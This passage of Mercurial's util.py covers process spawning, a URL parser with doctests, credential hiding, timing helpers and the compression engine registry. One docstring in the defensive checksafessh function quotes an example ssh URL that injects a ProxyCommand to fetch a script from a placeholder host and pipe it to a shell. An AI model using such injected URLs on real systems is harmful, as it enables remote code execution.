2681 2673 """Execute the argument list in a detached process.
2682 2674
2683 2675 condfn is a callable which is called repeatedly and should return
2684 2676 True once the child process is known to have started successfully.
2685 2677 At this point, the child process PID is returned. If the child
2686 2678 process fails to start or finishes before condfn() evaluates to
2687 2679 True, return -1.
2688 2680 """
2689 2681 # Windows case is easier because the child process is either
2690 2682 # successfully starting and validating the condition or exiting
2691 2683 # on failure. We just poll on its PID. On Unix, if the child
2692 2684 # process fails to start, it will be left in a zombie state until
2693 2685 # the parent wait on it, which we cannot do since we expect a long
2694 2686 # running process on success. Instead we listen for SIGCHLD telling
2695 2687 # us our child process terminated.
2696 2688 terminated = set()
2697 2689 def handler(signum, frame):
2698 2690 terminated.add(os.wait())
2699 2691 prevhandler = None
2700 2692 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2701 2693 if SIGCHLD is not None:
2702 2694 prevhandler = signal.signal(SIGCHLD, handler)
2703 2695 try:
2704 2696 pid = spawndetached(args)
2705 2697 while not condfn():
2706 2698 if ((pid in terminated or not testpid(pid))
2707 2699 and not condfn()):
2708 2700 return -1
2709 2701 time.sleep(0.1)
2710 2702 return pid
2711 2703 finally:
2712 2704 if prevhandler is not None:
2713 2705 signal.signal(signal.SIGCHLD, prevhandler)
2714 2706
2715 2707 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2716 2708 """Return the result of interpolating items in the mapping into string s.
2717 2709
2718 2710 prefix is a single character string, or a two character string with
2719 2711 a backslash as the first character if the prefix needs to be escaped in
2720 2712 a regular expression.
2721 2713
2722 2714 fn is an optional function that will be applied to the replacement text
2723 2715 just before replacement.
2724 2716
2725 2717 escape_prefix is an optional flag that allows using doubled prefix for
2726 2718 its escaping.
2727 2719 """
2728 2720 fn = fn or (lambda s: s)
2729 2721 patterns = '|'.join(mapping.keys())
2730 2722 if escape_prefix:
2731 2723 patterns += '|' + prefix
2732 2724 if len(prefix) > 1:
2733 2725 prefix_char = prefix[1:]
2734 2726 else:
2735 2727 prefix_char = prefix
2736 2728 mapping[prefix_char] = prefix_char
2737 2729 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2738 2730 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2739 2731
2740 2732 def getport(port):
2741 2733 """Return the port for a given network service.
2742 2734
2743 2735 If port is an integer, it's returned as is. If it's a string, it's
2744 2736 looked up using socket.getservbyname(). If there's no matching
2745 2737 service, error.Abort is raised.
2746 2738 """
2747 2739 try:
2748 2740 return int(port)
2749 2741 except ValueError:
2750 2742 pass
2751 2743
2752 2744 try:
2753 2745 return socket.getservbyname(pycompat.sysstr(port))
2754 2746 except socket.error:
2755 2747 raise Abort(_("no port number associated with service '%s'") % port)
2756 2748
2757 2749 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2758 2750 '0': False, 'no': False, 'false': False, 'off': False,
2759 2751 'never': False}
2760 2752
2761 2753 def parsebool(s):
2762 2754 """Parse s into a boolean.
2763 2755
2764 2756 If s is not a valid boolean, returns None.
2765 2757 """
2766 2758 return _booleans.get(s.lower(), None)
2767 2759
2768 2760 _hextochr = dict((a + b, chr(int(a + b, 16)))
2769 2761 for a in string.hexdigits for b in string.hexdigits)
2770 2762
2771 2763 class url(object):
2772 2764 r"""Reliable URL parser.
2773 2765
2774 2766 This parses URLs and provides attributes for the following
2775 2767 components:
2776 2768
2777 2769 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2778 2770
2779 2771 Missing components are set to None. The only exception is
2780 2772 fragment, which is set to '' if present but empty.
2781 2773
2782 2774 If parsefragment is False, fragment is included in query. If
2783 2775 parsequery is False, query is included in path. If both are
2784 2776 False, both fragment and query are included in path.
2785 2777
2786 2778 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2787 2779
2788 2780 Note that for backward compatibility reasons, bundle URLs do not
2789 2781 take host names. That means 'bundle://../' has a path of '../'.
2790 2782
2791 2783 Examples:
2792 2784
2793 2785 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2794 2786 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2795 2787 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2796 2788 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2797 2789 >>> url(b'file:///home/joe/repo')
2798 2790 <url scheme: 'file', path: '/home/joe/repo'>
2799 2791 >>> url(b'file:///c:/temp/foo/')
2800 2792 <url scheme: 'file', path: 'c:/temp/foo/'>
2801 2793 >>> url(b'bundle:foo')
2802 2794 <url scheme: 'bundle', path: 'foo'>
2803 2795 >>> url(b'bundle://../foo')
2804 2796 <url scheme: 'bundle', path: '../foo'>
2805 2797 >>> url(br'c:\foo\bar')
2806 2798 <url path: 'c:\\foo\\bar'>
2807 2799 >>> url(br'\\blah\blah\blah')
2808 2800 <url path: '\\\\blah\\blah\\blah'>
2809 2801 >>> url(br'\\blah\blah\blah#baz')
2810 2802 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2811 2803 >>> url(br'file:///C:\users\me')
2812 2804 <url scheme: 'file', path: 'C:\\users\\me'>
2813 2805
2814 2806 Authentication credentials:
2815 2807
2816 2808 >>> url(b'ssh://joe:xyz@x/repo')
2817 2809 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2818 2810 >>> url(b'ssh://joe@x/repo')
2819 2811 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2820 2812
2821 2813 Query strings and fragments:
2822 2814
2823 2815 >>> url(b'http://host/a?b#c')
2824 2816 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2825 2817 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2826 2818 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2827 2819
2828 2820 Empty path:
2829 2821
2830 2822 >>> url(b'')
2831 2823 <url path: ''>
2832 2824 >>> url(b'#a')
2833 2825 <url path: '', fragment: 'a'>
2834 2826 >>> url(b'http://host/')
2835 2827 <url scheme: 'http', host: 'host', path: ''>
2836 2828 >>> url(b'http://host/#a')
2837 2829 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2838 2830
2839 2831 Only scheme:
2840 2832
2841 2833 >>> url(b'http:')
2842 2834 <url scheme: 'http'>
2843 2835 """
2844 2836
2845 2837 _safechars = "!~*'()+"
2846 2838 _safepchars = "/!~*'()+:\\"
2847 2839 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2848 2840
2849 2841 def __init__(self, path, parsequery=True, parsefragment=True):
2850 2842 # We slowly chomp away at path until we have only the path left
2851 2843 self.scheme = self.user = self.passwd = self.host = None
2852 2844 self.port = self.path = self.query = self.fragment = None
2853 2845 self._localpath = True
2854 2846 self._hostport = ''
2855 2847 self._origpath = path
2856 2848
2857 2849 if parsefragment and '#' in path:
2858 2850 path, self.fragment = path.split('#', 1)
2859 2851
2860 2852 # special case for Windows drive letters and UNC paths
2861 2853 if hasdriveletter(path) or path.startswith('\\\\'):
2862 2854 self.path = path
2863 2855 return
2864 2856
2865 2857 # For compatibility reasons, we can't handle bundle paths as
2866 2858 # normal URLS
2867 2859 if path.startswith('bundle:'):
2868 2860 self.scheme = 'bundle'
2869 2861 path = path[7:]
2870 2862 if path.startswith('//'):
2871 2863 path = path[2:]
2872 2864 self.path = path
2873 2865 return
2874 2866
2875 2867 if self._matchscheme(path):
2876 2868 parts = path.split(':', 1)
2877 2869 if parts[0]:
2878 2870 self.scheme, path = parts
2879 2871 self._localpath = False
2880 2872
2881 2873 if not path:
2882 2874 path = None
2883 2875 if self._localpath:
2884 2876 self.path = ''
2885 2877 return
2886 2878 else:
2887 2879 if self._localpath:
2888 2880 self.path = path
2889 2881 return
2890 2882
2891 2883 if parsequery and '?' in path:
2892 2884 path, self.query = path.split('?', 1)
2893 2885 if not path:
2894 2886 path = None
2895 2887 if not self.query:
2896 2888 self.query = None
2897 2889
2898 2890 # // is required to specify a host/authority
2899 2891 if path and path.startswith('//'):
2900 2892 parts = path[2:].split('/', 1)
2901 2893 if len(parts) > 1:
2902 2894 self.host, path = parts
2903 2895 else:
2904 2896 self.host = parts[0]
2905 2897 path = None
2906 2898 if not self.host:
2907 2899 self.host = None
2908 2900 # path of file:///d is /d
2909 2901 # path of file:///d:/ is d:/, not /d:/
2910 2902 if path and not hasdriveletter(path):
2911 2903 path = '/' + path
2912 2904
2913 2905 if self.host and '@' in self.host:
2914 2906 self.user, self.host = self.host.rsplit('@', 1)
2915 2907 if ':' in self.user:
2916 2908 self.user, self.passwd = self.user.split(':', 1)
2917 2909 if not self.host:
2918 2910 self.host = None
2919 2911
2920 2912 # Don't split on colons in IPv6 addresses without ports
2921 2913 if (self.host and ':' in self.host and
2922 2914 not (self.host.startswith('[') and self.host.endswith(']'))):
2923 2915 self._hostport = self.host
2924 2916 self.host, self.port = self.host.rsplit(':', 1)
2925 2917 if not self.host:
2926 2918 self.host = None
2927 2919
2928 2920 if (self.host and self.scheme == 'file' and
2929 2921 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2930 2922 raise Abort(_('file:// URLs can only refer to localhost'))
2931 2923
2932 2924 self.path = path
2933 2925
2934 2926 # leave the query string escaped
2935 2927 for a in ('user', 'passwd', 'host', 'port',
2936 2928 'path', 'fragment'):
2937 2929 v = getattr(self, a)
2938 2930 if v is not None:
2939 2931 setattr(self, a, urlreq.unquote(v))
2940 2932
2941 2933 @encoding.strmethod
2942 2934 def __repr__(self):
2943 2935 attrs = []
2944 2936 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2945 2937 'query', 'fragment'):
2946 2938 v = getattr(self, a)
2947 2939 if v is not None:
2948 2940 attrs.append('%s: %r' % (a, v))
2949 2941 return '<url %s>' % ', '.join(attrs)
2950 2942
2951 2943 def __bytes__(self):
2952 2944 r"""Join the URL's components back into a URL string.
2953 2945
2954 2946 Examples:
2955 2947
2956 2948 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2957 2949 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2958 2950 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2959 2951 'http://user:pw@host:80/?foo=bar&baz=42'
2960 2952 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2961 2953 'http://user:pw@host:80/?foo=bar%3dbaz'
2962 2954 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2963 2955 'ssh://user:pw@[::1]:2200//home/joe#'
2964 2956 >>> bytes(url(b'http://localhost:80//'))
2965 2957 'http://localhost:80//'
2966 2958 >>> bytes(url(b'http://localhost:80/'))
2967 2959 'http://localhost:80/'
2968 2960 >>> bytes(url(b'http://localhost:80'))
2969 2961 'http://localhost:80/'
2970 2962 >>> bytes(url(b'bundle:foo'))
2971 2963 'bundle:foo'
2972 2964 >>> bytes(url(b'bundle://../foo'))
2973 2965 'bundle:../foo'
2974 2966 >>> bytes(url(b'path'))
2975 2967 'path'
2976 2968 >>> bytes(url(b'file:///tmp/foo/bar'))
2977 2969 'file:///tmp/foo/bar'
2978 2970 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2979 2971 'file:///c:/tmp/foo/bar'
2980 2972 >>> print(url(br'bundle:foo\bar'))
2981 2973 bundle:foo\bar
2982 2974 >>> print(url(br'file:///D:\data\hg'))
2983 2975 file:///D:\data\hg
2984 2976 """
2985 2977 if self._localpath:
2986 2978 s = self.path
2987 2979 if self.scheme == 'bundle':
2988 2980 s = 'bundle:' + s
2989 2981 if self.fragment:
2990 2982 s += '#' + self.fragment
2991 2983 return s
2992 2984
2993 2985 s = self.scheme + ':'
2994 2986 if self.user or self.passwd or self.host:
2995 2987 s += '//'
2996 2988 elif self.scheme and (not self.path or self.path.startswith('/')
2997 2989 or hasdriveletter(self.path)):
2998 2990 s += '//'
2999 2991 if hasdriveletter(self.path):
3000 2992 s += '/'
3001 2993 if self.user:
3002 2994 s += urlreq.quote(self.user, safe=self._safechars)
3003 2995 if self.passwd:
3004 2996 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3005 2997 if self.user or self.passwd:
3006 2998 s += '@'
3007 2999 if self.host:
3008 3000 if not (self.host.startswith('[') and self.host.endswith(']')):
3009 3001 s += urlreq.quote(self.host)
3010 3002 else:
3011 3003 s += self.host
3012 3004 if self.port:
3013 3005 s += ':' + urlreq.quote(self.port)
3014 3006 if self.host:
3015 3007 s += '/'
3016 3008 if self.path:
3017 3009 # TODO: similar to the query string, we should not unescape the
3018 3010 # path when we store it, the path might contain '%2f' = '/',
3019 3011 # which we should *not* escape.
3020 3012 s += urlreq.quote(self.path, safe=self._safepchars)
3021 3013 if self.query:
3022 3014 # we store the query in escaped form.
3023 3015 s += '?' + self.query
3024 3016 if self.fragment is not None:
3025 3017 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3026 3018 return s
3027 3019
3028 3020 __str__ = encoding.strmethod(__bytes__)
3029 3021
3030 3022 def authinfo(self):
3031 3023 user, passwd = self.user, self.passwd
3032 3024 try:
3033 3025 self.user, self.passwd = None, None
3034 3026 s = bytes(self)
3035 3027 finally:
3036 3028 self.user, self.passwd = user, passwd
3037 3029 if not self.user:
3038 3030 return (s, None)
3039 3031 # authinfo[1] is passed to urllib2 password manager, and its
3040 3032 # URIs must not contain credentials. The host is passed in the
3041 3033 # URIs list because Python < 2.4.3 uses only that to search for
3042 3034 # a password.
3043 3035 return (s, (None, (s, self.host),
3044 3036 self.user, self.passwd or ''))
3045 3037
3046 3038 def isabs(self):
3047 3039 if self.scheme and self.scheme != 'file':
3048 3040 return True # remote URL
3049 3041 if hasdriveletter(self.path):
3050 3042 return True # absolute for our purposes - can't be joined()
3051 3043 if self.path.startswith(br'\\'):
3052 3044 return True # Windows UNC path
3053 3045 if self.path.startswith('/'):
3054 3046 return True # POSIX-style
3055 3047 return False
3056 3048
3057 3049 def localpath(self):
3058 3050 if self.scheme == 'file' or self.scheme == 'bundle':
3059 3051 path = self.path or '/'
3060 3052 # For Windows, we need to promote hosts containing drive
3061 3053 # letters to paths with drive letters.
3062 3054 if hasdriveletter(self._hostport):
3063 3055 path = self._hostport + '/' + self.path
3064 3056 elif (self.host is not None and self.path
3065 3057 and not hasdriveletter(path)):
3066 3058 path = '/' + path
3067 3059 return path
3068 3060 return self._origpath
3069 3061
3070 3062 def islocal(self):
3071 3063 '''whether localpath will return something that posixfile can open'''
3072 3064 return (not self.scheme or self.scheme == 'file'
3073 3065 or self.scheme == 'bundle')
3074 3066
3075 3067 def hasscheme(path):
3076 3068 return bool(url(path).scheme)
3077 3069
3078 3070 def hasdriveletter(path):
3079 3071 return path and path[1:2] == ':' and path[0:1].isalpha()
3080 3072
3081 3073 def urllocalpath(path):
3082 3074 return url(path, parsequery=False, parsefragment=False).localpath()
3083 3075
3084 3076 def checksafessh(path):
3085 3077 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3086 3078
3087 3079 This is a sanity check for ssh urls. ssh will parse the first item as
3088 3080 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3089 3081 Let's prevent these potentially exploited urls entirely and warn the
3090 3082 user.
3091 3083
3092 3084 Raises an error.Abort when the url is unsafe.
3093 3085 """
3094 3086 path = urlreq.unquote(path)
3095 3087 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3096 3088 raise error.Abort(_('potentially unsafe url: %r') %
3097 3089 (pycompat.bytestr(path),))
3098 3090
3099 3091 def hidepassword(u):
3100 3092 '''hide user credential in a url string'''
3101 3093 u = url(u)
3102 3094 if u.passwd:
3103 3095 u.passwd = '***'
3104 3096 return bytes(u)
3105 3097
3106 3098 def removeauth(u):
3107 3099 '''remove all authentication information from a url string'''
3108 3100 u = url(u)
3109 3101 u.user = u.passwd = None
3110 3102 return str(u)
3111 3103
3112 3104 timecount = unitcountfn(
3113 3105 (1, 1e3, _('%.0f s')),
3114 3106 (100, 1, _('%.1f s')),
3115 3107 (10, 1, _('%.2f s')),
3116 3108 (1, 1, _('%.3f s')),
3117 3109 (100, 0.001, _('%.1f ms')),
3118 3110 (10, 0.001, _('%.2f ms')),
3119 3111 (1, 0.001, _('%.3f ms')),
3120 3112 (100, 0.000001, _('%.1f us')),
3121 3113 (10, 0.000001, _('%.2f us')),
3122 3114 (1, 0.000001, _('%.3f us')),
3123 3115 (100, 0.000000001, _('%.1f ns')),
3124 3116 (10, 0.000000001, _('%.2f ns')),
3125 3117 (1, 0.000000001, _('%.3f ns')),
3126 3118 )
3127 3119
3128 3120 _timenesting = [0]
3129 3121
3130 3122 def timed(func):
3131 3123 '''Report the execution time of a function call to stderr.
3132 3124
3133 3125 During development, use as a decorator when you need to measure
3134 3126 the cost of a function, e.g. as follows:
3135 3127
3136 3128 @util.timed
3137 3129 def foo(a, b, c):
3138 3130 pass
3139 3131 '''
3140 3132
3141 3133 def wrapper(*args, **kwargs):
3142 3134 start = timer()
3143 3135 indent = 2
3144 3136 _timenesting[0] += indent
3145 3137 try:
3146 3138 return func(*args, **kwargs)
3147 3139 finally:
3148 3140 elapsed = timer() - start
3149 3141 _timenesting[0] -= indent
3150 3142 stderr.write('%s%s: %s\n' %
3151 3143 (' ' * _timenesting[0], func.__name__,
3152 3144 timecount(elapsed)))
3153 3145 return wrapper
3154 3146
3155 3147 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3156 3148 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3157 3149
3158 3150 def sizetoint(s):
3159 3151 '''Convert a space specifier to a byte count.
3160 3152
3161 3153 >>> sizetoint(b'30')
3162 3154 30
3163 3155 >>> sizetoint(b'2.2kb')
3164 3156 2252
3165 3157 >>> sizetoint(b'6M')
3166 3158 6291456
3167 3159 '''
3168 3160 t = s.strip().lower()
3169 3161 try:
3170 3162 for k, u in _sizeunits:
3171 3163 if t.endswith(k):
3172 3164 return int(float(t[:-len(k)]) * u)
3173 3165 return int(t)
3174 3166 except ValueError:
3175 3167 raise error.ParseError(_("couldn't parse size: %s") % s)
3176 3168
3177 3169 class hooks(object):
3178 3170 '''A collection of hook functions that can be used to extend a
3179 3171 function's behavior. Hooks are called in lexicographic order,
3180 3172 based on the names of their sources.'''
3181 3173
3182 3174 def __init__(self):
3183 3175 self._hooks = []
3184 3176
3185 3177 def add(self, source, hook):
3186 3178 self._hooks.append((source, hook))
3187 3179
3188 3180 def __call__(self, *args):
3189 3181 self._hooks.sort(key=lambda x: x[0])
3190 3182 results = []
3191 3183 for source, hook in self._hooks:
3192 3184 results.append(hook(*args))
3193 3185 return results
3194 3186
3195 3187 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3196 3188 '''Yields lines for a nicely formatted stacktrace.
3197 3189 Skips the 'skip' last entries, then return the last 'depth' entries.
3198 3190 Each file+linenumber is formatted according to fileline.
3199 3191 Each line is formatted according to line.
3200 3192 If line is None, it yields:
3201 3193 length of longest filepath+line number,
3202 3194 filepath+linenumber,
3203 3195 function
3204 3196
3205 3197 Not be used in production code but very convenient while developing.
3206 3198 '''
3207 3199 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3208 3200 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3209 3201 ][-depth:]
3210 3202 if entries:
3211 3203 fnmax = max(len(entry[0]) for entry in entries)
3212 3204 for fnln, func in entries:
3213 3205 if line is None:
3214 3206 yield (fnmax, fnln, func)
3215 3207 else:
3216 3208 yield line % (fnmax, fnln, func)
3217 3209
3218 3210 def debugstacktrace(msg='stacktrace', skip=0,
3219 3211 f=stderr, otherf=stdout, depth=0):
3220 3212 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3221 3213 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3222 3214 By default it will flush stdout first.
3223 3215 It can be used everywhere and intentionally does not require an ui object.
3224 3216 Not be used in production code but very convenient while developing.
3225 3217 '''
3226 3218 if otherf:
3227 3219 otherf.flush()
3228 3220 f.write('%s at:\n' % msg.rstrip())
3229 3221 for line in getstackframes(skip + 1, depth=depth):
3230 3222 f.write(line)
3231 3223 f.flush()
3232 3224
3233 3225 class dirs(object):
3234 3226 '''a multiset of directory names from a dirstate or manifest'''
3235 3227
3236 3228 def __init__(self, map, skip=None):
3237 3229 self._dirs = {}
3238 3230 addpath = self.addpath
3239 3231 if safehasattr(map, 'iteritems') and skip is not None:
3240 3232 for f, s in map.iteritems():
3241 3233 if s[0] != skip:
3242 3234 addpath(f)
3243 3235 else:
3244 3236 for f in map:
3245 3237 addpath(f)
3246 3238
3247 3239 def addpath(self, path):
3248 3240 dirs = self._dirs
3249 3241 for base in finddirs(path):
3250 3242 if base in dirs:
3251 3243 dirs[base] += 1
3252 3244 return
3253 3245 dirs[base] = 1
3254 3246
3255 3247 def delpath(self, path):
3256 3248 dirs = self._dirs
3257 3249 for base in finddirs(path):
3258 3250 if dirs[base] > 1:
3259 3251 dirs[base] -= 1
3260 3252 return
3261 3253 del dirs[base]
3262 3254
3263 3255 def __iter__(self):
3264 3256 return iter(self._dirs)
3265 3257
3266 3258 def __contains__(self, d):
3267 3259 return d in self._dirs
3268 3260
3269 3261 if safehasattr(parsers, 'dirs'):
3270 3262 dirs = parsers.dirs
3271 3263
3272 3264 def finddirs(path):
3273 3265 pos = path.rfind('/')
3274 3266 while pos != -1:
3275 3267 yield path[:pos]
3276 3268 pos = path.rfind('/', 0, pos)
3277 3269
3278 3270 # compression code
3279 3271
3280 3272 SERVERROLE = 'server'
3281 3273 CLIENTROLE = 'client'
3282 3274
3283 3275 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3284 3276 (u'name', u'serverpriority',
3285 3277 u'clientpriority'))
3286 3278
3287 3279 class compressormanager(object):
3288 3280 """Holds registrations of various compression engines.
3289 3281
3290 3282 This class essentially abstracts the differences between compression
3291 3283 engines to allow new compression formats to be added easily, possibly from
3292 3284 extensions.
3293 3285
3294 3286 Compressors are registered against the global instance by calling its
3295 3287 ``register()`` method.
3296 3288 """
3297 3289 def __init__(self):
3298 3290 self._engines = {}
3299 3291 # Bundle spec human name to engine name.
3300 3292 self._bundlenames = {}
3301 3293 # Internal bundle identifier to engine name.
3302 3294 self._bundletypes = {}
3303 3295 # Revlog header to engine name.
3304 3296 self._revlogheaders = {}
3305 3297 # Wire proto identifier to engine name.
3306 3298 self._wiretypes = {}
3307 3299
3308 3300 def __getitem__(self, key):
3309 3301 return self._engines[key]
3310 3302
3311 3303 def __contains__(self, key):
3312 3304 return key in self._engines
3313 3305
3314 3306 def __iter__(self):
3315 3307 return iter(self._engines.keys())
3316 3308
3317 3309 def register(self, engine):
3318 3310 """Register a compression engine with the manager.
3319 3311
3320 3312 The argument must be a ``compressionengine`` instance.
3321 3313 """
3322 3314 if not isinstance(engine, compressionengine):
3323 3315 raise ValueError(_('argument must be a compressionengine'))
3324 3316
3325 3317 name = engine.name()
3326 3318
3327 3319 if name in self._engines:
3328 3320 raise error.Abort(_('compression engine %s already registered') %
3329 3321 name)
3330 3322
3331 3323 bundleinfo = engine.bundletype()
3332 3324 if bundleinfo:
3333 3325 bundlename, bundletype = bundleinfo
3334 3326
3335 3327 if bundlename in self._bundlenames:
3336 3328 raise error.Abort(_('bundle name %s already registered') %
3337 3329 bundlename)
3338 3330 if bundletype in self._bundletypes:
3339 3331 raise error.Abort(_('bundle type %s already registered by %s') %
3340 3332 (bundletype, self._bundletypes[bundletype]))
3341 3333
3342 3334 # No external facing name declared.
3343 3335 if bundlename:
3344 3336 self._bundlenames[bundlename] = name
3345 3337
3346 3338 self._bundletypes[bundletype] = name
3347 3339
3348 3340 wiresupport = engine.wireprotosupport()
3349 3341 if wiresupport:
3350 3342 wiretype = wiresupport.name
3351 3343 if wiretype in self._wiretypes:
3352 3344 raise error.Abort(_('wire protocol compression %s already '
3353 3345 'registered by %s') %
3354 3346 (wiretype, self._wiretypes[wiretype]))
3355 3347
3356 3348 self._wiretypes[wiretype] = name
3357 3349
3358 3350 revlogheader = engine.revlogheader()
3359 3351 if revlogheader and revlogheader in self._revlogheaders:
3360 3352 raise error.Abort(_('revlog header %s already registered by %s') %
3361 3353 (revlogheader, self._revlogheaders[revlogheader]))
3362 3354
3363 3355 if revlogheader:
3364 3356 self._revlogheaders[revlogheader] = name
3365 3357
3366 3358 self._engines[name] = engine
3367 3359
3368 3360 @property
3369 3361 def supportedbundlenames(self):
3370 3362 return set(self._bundlenames.keys())
3371 3363
3372 3364 @property
3373 3365 def supportedbundletypes(self):
3374 3366 return set(self._bundletypes.keys())
3375 3367
3376 3368 def forbundlename(self, bundlename):
3377 3369 """Obtain a compression engine registered to a bundle name.
3378 3370
3379 3371 Will raise KeyError if the bundle type isn't registered.
3380 3372
3381 3373 Will abort if the engine is known but not available.
3382 3374 """
3383 3375 engine = self._engines[self._bundlenames[bundlename]]
3384 3376 if not engine.available():
3385 3377 raise error.Abort(_('compression engine %s could not be loaded') %
3386 3378 engine.name())
3387 3379 return engine
3388 3380
3389 3381 def forbundletype(self, bundletype):
3390 3382 """Obtain a compression engine registered to a bundle type.
3391 3383
3392 3384 Will raise KeyError if the bundle type isn't registered.
3393 3385
3394 3386 Will abort if the engine is known but not available.
3395 3387 """
3396 3388 engine = self._engines[self._bundletypes[bundletype]]
3397 3389 if not engine.available():
3398 3390 raise error.Abort(_('compression engine %s could not be loaded') %
3399 3391 engine.name())
3400 3392 return engine
3401 3393
3402 3394 def supportedwireengines(self, role, onlyavailable=True):
3403 3395 """Obtain compression engines that support the wire protocol.
3404 3396
3405 3397 Returns a list of engines in prioritized order, most desired first.
3406 3398
3407 3399 If ``onlyavailable`` is set, filter out engines that can't be
3408 3400 loaded.
3409 3401 """
3410 3402 assert role in (SERVERROLE, CLIENTROLE)
3411 3403
3412 3404 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3413 3405
3414 3406 engines = [self._engines[e] for e in self._wiretypes.values()]
3415 3407 if onlyavailable:
3416 3408 engines = [e for e in engines if e.available()]
3417 3409
3418 3410 def getkey(e):
3419 3411 # Sort first by priority, highest first. In case of tie, sort
3420 3412 # alphabetically. This is arbitrary, but ensures output is
3421 3413 # stable.
3422 3414 w = e.wireprotosupport()
3423 3415 return -1 * getattr(w, attr), w.name
3424 3416
3425 3417 return list(sorted(engines, key=getkey))
3426 3418
3427 3419 def forwiretype(self, wiretype):
3428 3420 engine = self._engines[self._wiretypes[wiretype]]
3429 3421 if not engine.available():
3430 3422 raise error.Abort(_('compression engine %s could not be loaded') %
3431 3423 engine.name())
3432 3424 return engine
3433 3425
3434 3426 def forrevlogheader(self, header):
3435 3427 """Obtain a compression engine registered to a revlog header.
3436 3428
3437 3429 Will raise KeyError if the revlog header value isn't registered.
3438 3430 """
3439 3431 return self._engines[self._revlogheaders[header]]
3440 3432
3441 3433 compengines = compressormanager()
3442 3434
3443 3435 class compressionengine(object):
3444 3436 """Base class for compression engines.
3445 3437
3446 3438 Compression engines must implement the interface defined by this class.
3447 3439 """
3448 3440 def name(self):
3449 3441 """Returns the name of the compression engine.
3450 3442
3451 3443 This is the key the engine is registered under.
3452 3444
3453 3445 This method must be implemented.
3454 3446 """
3455 3447 raise NotImplementedError()
3456 3448
3457 3449 def available(self):
3458 3450 """Whether the compression engine is available.
3459 3451
3460 3452 The intent of this method is to allow optional compression engines
3461 3453 that may not be available in all installations (such as engines relying
3462 3454 on C extensions that may not be present).
3463 3455 """
3464 3456 return True
3465 3457
3466 3458 def bundletype(self):
3467 3459 """Describes bundle identifiers for this engine.
3468 3460
3469 3461 If this compression engine isn't supported for bundles, returns None.
3470 3462
3471 3463 If this engine can be used for bundles, returns a 2-tuple of strings of
3472 3464 the user-facing "bundle spec" compression name and an internal
3473 3465 identifier used to denote the compression format within bundles. To
3474 3466 exclude the name from external usage, set the first element to ``None``.
3475 3467
3476 3468 If bundle compression is supported, the class must also implement
3477 3469 ``compressstream`` and `decompressorreader``.
3478 3470
3479 3471 The docstring of this method is used in the help system to tell users
3480 3472 about this engine.
3481 3473 """
3482 3474 return None
3483 3475
3484 3476 def wireprotosupport(self):
3485 3477 """Declare support for this compression format on the wire protocol.
3486 3478
3487 3479 If this compression engine isn't supported for compressing wire
3488 3480 protocol payloads, returns None.
3489 3481
3490 3482 Otherwise, returns ``compenginewireprotosupport`` with the following
3491 3483 fields:
3492 3484
3493 3485 * String format identifier
3494 3486 * Integer priority for the server
3495 3487 * Integer priority for the client
3496 3488
3497 3489 The integer priorities are used to order the advertisement of format
3498 3490 support by server and client. The highest integer is advertised
3499 3491 first. Integers with non-positive values aren't advertised.
3500 3492
3501 3493 The priority values are somewhat arbitrary and only used for default
3502 3494 ordering. The relative order can be changed via config options.
3503 3495
3504 3496 If wire protocol compression is supported, the class must also implement
3505 3497 ``compressstream`` and ``decompressorreader``.
3506 3498 """
3507 3499 return None
3508 3500
3509 3501 def revlogheader(self):
3510 3502 """Header added to revlog chunks that identifies this engine.
3511 3503
3512 3504 If this engine can be used to compress revlogs, this method should
3513 3505 return the bytes used to identify chunks compressed with this engine.
3514 3506 Else, the method should return ``None`` to indicate it does not
3515 3507 participate in revlog compression.
3516 3508 """
3517 3509 return None
3518 3510
3519 3511 def compressstream(self, it, opts=None):
3520 3512 """Compress an iterator of chunks.
3521 3513
3522 3514 The method receives an iterator (ideally a generator) of chunks of
3523 3515 bytes to be compressed. It returns an iterator (ideally a generator)
3524 3516 of bytes of chunks representing the compressed output.
3525 3517
3526 3518 Optionally accepts an argument defining how to perform compression.
3527 3519 Each engine treats this argument differently.
3528 3520 """
3529 3521 raise NotImplementedError()
3530 3522
